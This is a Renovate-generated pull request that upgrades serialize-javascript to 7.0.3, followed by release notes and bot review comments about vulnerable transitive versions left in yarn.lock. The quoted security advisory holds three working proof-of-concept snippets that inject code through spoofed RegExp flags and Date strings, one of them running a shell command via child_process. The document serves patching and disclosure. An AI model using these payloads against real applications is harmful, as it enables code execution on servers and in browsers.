Update dependency serialize-javascript to v7 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	6.0.2 → 7.0.3

GitHub Vulnerability Alerts

CVE-2024-11831

A flaw was found in npm-serialize-javascript. The vulnerability occurs because the serialize-javascript module does not properly sanitize certain inputs, such as regex or other JavaScript object types, allowing an attacker to inject malicious code. This code could be executed when deserialized by a web browser, causing Cross-site scripting (XSS) attacks. This issue is critical in environments where serialized data is sent to web clients, potentially compromising the security of the website or web application using this package.

GHSA-5c6j-r48x-rmvq

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@​placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@​rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

---

Release Notes

yahoo/serialize-javascript (serialize-javascript)

v7.0.3

Compare Source

• fix(CVE-2020-7660): fix for RegExp.flags and Date.prototype.toISOString (#​207) 2e609d0
• build(deps-dev): bump lodash from 4.17.21 to 4.17.23 (#​206) 42b7cdb

---

v7.0.2

Compare Source

What's Changed

• ci: bump GitHub Actions to latest versions by @​okuryu in #​203
• ci: setup trusted publishing workflow by @​okuryu in #​204
• release: v7.0.2 by @​okuryu in #​205

Full Changelog: yahoo/serialize-javascript@v7.0.1...v7.0.2

v7.0.1

Compare Source

What's Changed

• Add warning about using this package to send arbitrary data to worker threads by @​valadaptive in #​200
• security: sanitize function bodies by @​redonkulus in #​199
• docs: tweak README by @​okuryu in #​201
• release: v7.0.1 by @​okuryu in #​202

New Contributors

• @​redonkulus made their first contribution in #​199

Full Changelog: yahoo/serialize-javascript@v7.0.0...v7.0.1

v7.0.0

Compare Source

Breaking Changes

• requires Node.js v20+

What's Changed

• Bump mocha from 10.2.0 to 10.4.0 by @​dependabot[bot] in #​178
• Bump mocha from 10.4.0 to 10.5.2 by @​dependabot[bot] in #​183
• Bump nyc from 15.1.0 to 17.0.0 by @​dependabot[bot] in #​184
• Bump braces from 3.0.2 to 3.0.3 by @​dependabot[bot] in #​181
• Bump mocha from 10.5.2 to 10.7.0 by @​dependabot[bot] in #​185
• Bump mocha from 10.7.0 to 10.7.3 by @​dependabot[bot] in #​186
• Bump nyc from 17.0.0 to 17.1.0 by @​dependabot[bot] in #​187
• Bump mocha from 10.7.3 to 10.8.2 by @​dependabot[bot] in #​188
• feat: test on Node.js 22 and built-in test runner by @​okuryu in #​192
• Generate UID without randombytes dependency by @​valadaptive in #​196
• release: v7.0.0 by @​okuryu in #​197

New Contributors

• @​valadaptive made their first contribution in #​196

Full Changelog: yahoo/serialize-javascript@v6.0.2...v7.0.0

---

Configuration

📅 Schedule: Branch creation - "" in timezone US/Eastern, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[github-actions]

OpenAPI Changes

Show/hide ## Changes for v0.yaml:

## Changes for v0.yaml:


## Changes for v1.yaml:


## Changes for v2.yaml:

Unexpected changes? Ensure your branch is up-to-date with main (consider rebasing).

[sentry]

Bug: The serialize-javascript dependency upgrade is incomplete. Vulnerable versions remain in the yarn.lock file due to transitive dependencies, leaving a potential security risk.
_{Severity: HIGH}

Suggested Fix

Add a resolutions field to the root package.json file to force all transitive dependencies of serialize-javascript to resolve to the new, secure version (e.g., 7.0.3). After updating package.json, run yarn install to regenerate the yarn.lock file and ensure all instances are upgraded.

Prompt for AI Agent

Review the code at the location below. A potential bug has been identified by an AI
agent.
Verify if this is a real issue. If it is, propose a fix; if not, explain why it's not
valid.

Location: yarn.lock#L21032-L21039

Potential issue: The pull request attempts to upgrade `serialize-javascript` to fix a
security vulnerability. However, the fix is incomplete. While the direct dependency in
`package.json` is updated, the `yarn.lock` file shows that transitive dependencies still
pull in vulnerable versions of `serialize-javascript` (e.g., `6.0.2`, `6.0.0`, `4.0.0`).
Without a `resolutions` entry in `package.json` to force all instances to the patched
version, the application remains susceptible to the original cross-site scripting (XSS)
vulnerability if any of these transitive dependencies are used in a way that serializes
user-controlled data for client-side evaluation.

_{Did we get this right? 👍 / 👎 to inform future reviews.}